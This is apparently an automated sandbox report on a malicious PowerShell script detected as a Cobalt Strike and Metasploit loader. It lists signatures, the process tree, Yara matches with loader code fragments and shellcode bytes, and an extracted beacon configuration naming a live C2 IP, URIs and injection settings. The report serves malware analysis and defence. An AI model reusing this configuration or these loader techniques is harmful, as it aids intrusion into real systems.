Edit tour

Windows Analysis Report
245f38b4b8a25754bf6e630f8e2acf59.ps1

Overview

General Information

Sample Name:	245f38b4b8a25754bf6e630f8e2acf59.ps1
Analysis ID:	843643
MD5:	25da2ffacd07ebf65a6b822026dc376a
SHA1:	b3823cc7dd589652b08ea661ce7e0fca14a4e09d
SHA256:	485263958f6879d443576f50cf7e10e48e8c05b2826ee175d28244f1aba991a4
Tags:	powershellps1
Infos:

Detection

CobaltStrike, Metasploit

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected MetasploitPayload

Malicious sample detected (through community Yara rule)

Yara detected CobaltStrike

C2 URLs / IPs found in malware configuration

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Contains functionality to detect virtual machines (SLDT)

Detected potential crypto function

Creates a process in suspended mode (likely to inject code)

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6296 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\245f38b4b8a25754bf6e630f8e2acf59.ps1 MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6452 cmdline: "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://www.secureworks.com/research/threat-profiles/gold-drake http://www.secureworks.com/research/threat-profiles/gold-kingswood http://www.secureworks.com/research/threat-profiles/gold-winter	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 93780, "MaxGetSize": 2099252, "Jitter": 35, "C2Server": "88.216.210.27,/design/query/9X5M3SOE0F", "HttpPostUri": "/run/redirect/QD77MO6RQ", "Malleable_C2_Instructions": ["Remove 910 bytes from the end", "Remove 1182 bytes from the beginning", "NetBIOS decode 'A'", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\DevicePairingWizard.exe", "Spawnto_x64": "%windir%\\sysnative\\DevicePairingWizard.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 206546002, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 14911, "ProcInject_PrependAppend_x86": ["kA8fgAAAAABmDx+EAAAAAAAPH4QAAAAAAGYPH0QAAA8fAA==", "Dx9EAABQWJBmkA8fRAAAZpBmDx+EAAAAAAAPHwBmDx+EAAAAAAAPH0QAAGYPH4QAAAAAAA8fhAAAAAAADx+EAAAAAAAPH4AAAAAADx9AAA8fQAAPH0AA"], "ProcInject_PrependAppend_x64": ["Zg8fhAAAAAAAUFgPH0AADx+EAAAAAABQWGYPH0QAAGYPH4QAAAAAAGYPH4QAAAAAAJA=", "Dx+AAAAAAJAPHwBmDx9EAAAPH0QAAA8fhAAAAAAADx9AAA8fQACQDx+EAAAAAAAPH0AAZpBmkA8fgAAAAABmkFBYZpCQ"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
245f38b4b8a25754bf6e630f8e2acf59.ps1	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x8f:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x5b4:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x683:$s5: = [System.Convert]::FromBase64String( 0x30a:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x4fd:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
245f38b4b8a25754bf6e630f8e2acf59.ps1	CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13	Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13	gssincla@google.com	0x3ab:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x468:$imm: InMemoryModule 0x48d:$mdt: MyDelegateType 0x3dd:$rd: New-Object System.Reflection.AssemblyName('ReflectedDelegate') 0x671:$data: [Byte[]]$var_code = [System.Convert]::FromBase64String( 0x46044:$64bitSpecific: [IntPtr]::size -eq 8 0x323:$mandatory: Mandatory = $True
245f38b4b8a25754bf6e630f8e2acf59.ps1	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x87:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0xf3:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x838:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0xe3b:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0xf4c:$s5: = [System.Convert]::FromBase64String( 0xb25:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0xd72:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6	gssincla@google.com	0x8b43:$core_sig: C6 45 B0 56 C6 45 B1 69 C6 45 B2 72 C6 45 B3 74 C6 45 B4 75 C6 45 B5 61 C6 45 B6 6C C6 45 B7 41 C6 45 B8 6C C6 45 B9 6C C6 45 BA 6F C6 45 BB 63 C6 45 BC 00 0x82ff:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6 0x8f8f:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	FireEye	0x8812:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x94a2:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x8fe2:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 F8 8B 48 3C 89 4D FC 83 7D FC 40 72 1F 81 7D FC 00 04 00 00 73 16 8B 55 FC 03 55 F8 89 55 FC 8B 45 FC 81 38 50 45 00 00 75 02 EB 0B 8B 4D F8 83 E9 01 89 ...
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x30e57:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 2E 7E 2E 2D 2E 2C 2E 2A 2E 2F 40 7A 2E 2A 2E 2C 2E 2A 2E 0E 26 1A 2E 2B 2E 2F 2E 2C 2E 0D
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x311f9:$xo1: cATGBBO\x01\x1B\x1E
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x815a:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0x8dea:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x31ebe:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x31f2a:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000002.00000002.617159585.0000000008846000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x3ac8:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x24e05:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x2ce6d:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x40cb:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x25408:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x2d470:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x41dc:$s5: = [System.Convert]::FromBase64String( 0x25519:$s5: = [System.Convert]::FromBase64String( 0x2d581:$s5: = [System.Convert]::FromBase64String( 0x3db5:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x250f2:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x2d15a:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x4002:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0x2533f:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0x2d3a7:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000002.00000002.590121495.000000000567A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6	gssincla@google.com	0x95e43:$core_sig: C6 45 B0 56 C6 45 B1 69 C6 45 B2 72 C6 45 B3 74 C6 45 B4 75 C6 45 B5 61 C6 45 B6 6C C6 45 B7 41 C6 45 B8 6C C6 45 B9 6C C6 45 BA 6F C6 45 BB 63 C6 45 BC 00 0x955ff:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6 0x9628f:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	FireEye	0x95b12:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x967a2:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x962e2:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 F8 8B 48 3C 89 4D FC 83 7D FC 40 72 1F 81 7D FC 00 04 00 00 73 16 8B 55 FC 03 55 F8 89 55 FC 8B 45 FC 81 38 50 45 00 00 75 02 EB 0B 8B 4D F8 83 E9 01 89 ...
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0xbe157:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 2E 7E 2E 2D 2E 2C 2E 2A 2E 2F 40 7A 2E 2A 2E 2C 2E 2A 2E 0E 26 1A 2E 2B 2E 2F 2E 2C 2E 0D
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0xbe4f9:$xo1: cATGBBO\x01\x1B\x1E
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9545a:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0x960ea:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0xbf1be:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0xbf22a:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000002.00000002.616855726.0000000008820000.00000020.00001000.00020000.00000000.sdmp	CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4	gssincla@google.com	0x72da:$version_sig: 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 0x96c3:$decoder: 80 B0 20 10 85 08 2E 40 3D 00 10 00 00 7C F1
00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0xddd:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x13e0:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x14f1:$s5: = [System.Convert]::FromBase64String( 0x10ca:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x1317:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000002.00000002.590121495.000000000579A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000003.314275079.000002B480021000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.631046566.000002B4F7A55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
00000000.00000002.631046566.000002B4F81A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
Process Memory Space: powershell.exe PID: 6296	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x86220:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x8f9fa:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x979bb:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x9f97c:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x28d9f8:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x3ddce3:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x583108:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x69a4db:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x6a249c:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x86823:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x8fffd:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x97fbe:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x9ff7f:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x28dffb:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x3de2e6:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x58362d:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x69aade:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x6a2a9f:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x86934:$s5: = [System.Convert]::FromBase64String( 0x9010e:$s5: = [System.Convert]::FromBase64String( 0x980cf:$s5: = [System.Convert]::FromBase64String(
Process Memory Space: powershell.exe PID: 6296	CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13	Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13	gssincla@google.com	0x865f6:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x8fdd0:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x97d91:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x9fd52:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x28ddce:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x3de0b9:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x583424:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x69a8b1:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x6a2872:$dda: [AppDomain]::CurrentDomain.DefineDynamicAssembly 0x866b3:$imm: InMemoryModule 0x8fe8d:$imm: InMemoryModule 0x97e4e:$imm: InMemoryModule 0x9fe0f:$imm: InMemoryModule 0x28de8b:$imm: InMemoryModule 0x3de176:$imm: InMemoryModule 0x5834e1:$imm: InMemoryModule 0x69a96e:$imm: InMemoryModule 0x6a292f:$imm: InMemoryModule 0x866d8:$mdt: MyDelegateType 0x8feb2:$mdt: MyDelegateType 0x97e73:$mdt: MyDelegateType
Process Memory Space: powershell.exe PID: 6296	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
Process Memory Space: powershell.exe PID: 6296	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x86946:$b2: ::FromBase64String( 0x90120:$b2: ::FromBase64String( 0x980e1:$b2: ::FromBase64String( 0xa00a2:$b2: ::FromBase64String( 0x28e11e:$b2: ::FromBase64String( 0x3de409:$b2: ::FromBase64String( 0x58370e:$b2: ::FromBase64String( 0x5c9185:$b2: ::FromBase64String( 0x69ac01:$b2: ::FromBase64String( 0x6a2bc2:$b2: ::FromBase64String( 0xf6d0:$s1: -join 0xfe6b:$s1: -join 0x45267:$s1: -join 0x50977:$s1: -join 0x1f31fe:$s1: -join 0x2385c7:$s1: -join 0x24569c:$s1: -join 0x248a6e:$s1: -join 0x249120:$s1: -join 0x24ac11:$s1: -join 0x24ce17:$s1: -join
Process Memory Space: powershell.exe PID: 6452	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth (Nextron Systems)	0x3259d:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0xa1ea3:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x108d04:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x14f9f6:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x1fc15a:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x32ba0:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0xa23c8:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x14fff9:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x1fc67f:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x32cb1:$s5: = [System.Convert]::FromBase64String( 0xa2497:$s5: = [System.Convert]::FromBase64String( 0x15010a:$s5: = [System.Convert]::FromBase64String( 0x1fc74e:$s5: = [System.Convert]::FromBase64String( 0x3288a:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0xa211e:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x14fce3:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x1fc3d5:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x32ad7:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0xa2311:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0x14ff30:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, 0x1fc5c8:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
Process Memory Space: powershell.exe PID: 6452	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
Process Memory Space: powershell.exe PID: 6452	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: powershell.exe PID: 6452	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x32cc3:$b2: ::FromBase64String( 0xa24a9:$b2: ::FromBase64String( 0x15011c:$b2: ::FromBase64String( 0x1fc760:$b2: ::FromBase64String( 0x2500a:$s1: -join 0x1a19ce:$s1: -join 0x1c146b:$s1: -join 0x1f7065:$s1: -join 0x1c830c:$s3: Reverse 0x1c8314:$s3: Reverse 0x1d37c0:$s3: reverse 0x1d85a7:$s3: reverse 0x1de2ba:$s3: reverse 0x1e614d:$s3: reverse 0x1ecf37:$s3: Reverse 0x1ecf3f:$s3: Reverse 0x24c0a:$s4: += 0x24edb:$s4: += 0x24fec:$s4: += 0x199e19:$s4: += 0x199e38:$s4: +=
Click to see the 38 entries

Other

Source	Rule	Description	Author	Strings
